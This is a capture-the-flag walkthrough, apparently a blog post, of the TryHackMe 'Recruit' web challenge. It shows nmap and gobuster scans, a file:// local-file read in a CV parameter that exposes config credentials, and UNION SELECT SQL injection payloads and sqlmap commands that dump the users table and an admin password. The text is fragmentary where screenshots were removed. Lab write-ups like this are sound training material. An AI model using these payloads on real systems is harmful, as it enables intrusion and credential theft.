Press enter or click to view image in full size
By: Kavin Jindal (@Klevr)
Join Medium for free to get updates from this writer.
https://tryhackme.com/room/recruitwebchallenge
nmap -sC -sV -p 53,22,80 10.49.150.247Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-26 21:18 IST
Nmap scan report for 10.49.150.247
Host is up (0.019s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e7:e4:f1:13:f7:ce:54:31:54:bb:8c:69:e7:2b:79:38 (RSA)
| 256 07:c4:23:b3:1d:a1:cb:90:cd:7e:4e:14:b2:30:6b:0d (ECDSA)
|_ 256 c9:ad:aa:f6:7e:11:d4:6b:e4:ad:00:d4:2d:ad:ae:b8 (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Recruit
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.00 seconds
Press enter or click to view image in full size
admin:admin , admin:password123 etc., but found nothing of use.api.php page that had information on using the Recruit API.Press enter or click to view image in full size
/file.php?cv=<URL> could be used to access any candidate's CVs. This thing reeked of a potential path traversal vulnerability to me.cv parameter to test for SSRF (Server-Side Request Forgery) but nothing worked. The following error message persisted every time.Press enter or click to view image in full size
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.49.150.247 -x php,txt,js,pdfPress enter or click to view image in full size
/mail seemed an interesting find which led me to enumerate it further.mail.logPress enter or click to view image in full size
mail.log were as follows.Press enter or click to view image in full size
username: hr and the password was stored inside config.phpconfig.php but it returned no data. I tried accessing the file using path traversal in /file.php?cv= but the same error persisted even though it was a local file.file:// wrapper to read local files. Using file://config.php worked like a charm.Press enter or click to view image in full size
hras mentioned previously. I used the credentials to log in and access the dashboard as follows.Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
' union select 1,2,3,4-- -' union select table_name,2,3,4 from information_schema.tables-- -users .user and accounts but none of them had anything of use.users table, I used the following UNION SELECTpayload.' union select column_name,2,3,4 from information_schema.columns where table_name='users'-- -Press enter or click to view image in full size
password column was found, and it could be used to get the administrator credentials.' union select 1,password,3,username from users-- -Press enter or click to view image in full size
admin@001admin was successfully obtained for the admin username.Press enter or click to view image in full size
(PS: I will highly recommend this blog post for anyone who wants to understand the SQL Injection payloads for MySQL right from detecting injection to retrieving data)
/dashboard.php on the target via BurpSuite and copied it to a text file.Press enter or click to view image in full size
sqlmap -r req.txt --dbsPress enter or click to view image in full size
recruit_db was our database of interest.recruit_db using --dump-all.Press enter or click to view image in full size
I hope you found this walkthrough informative. Don’t forget to follow Avyukt Security for more quality cybersecurity content.
Happy Hacking!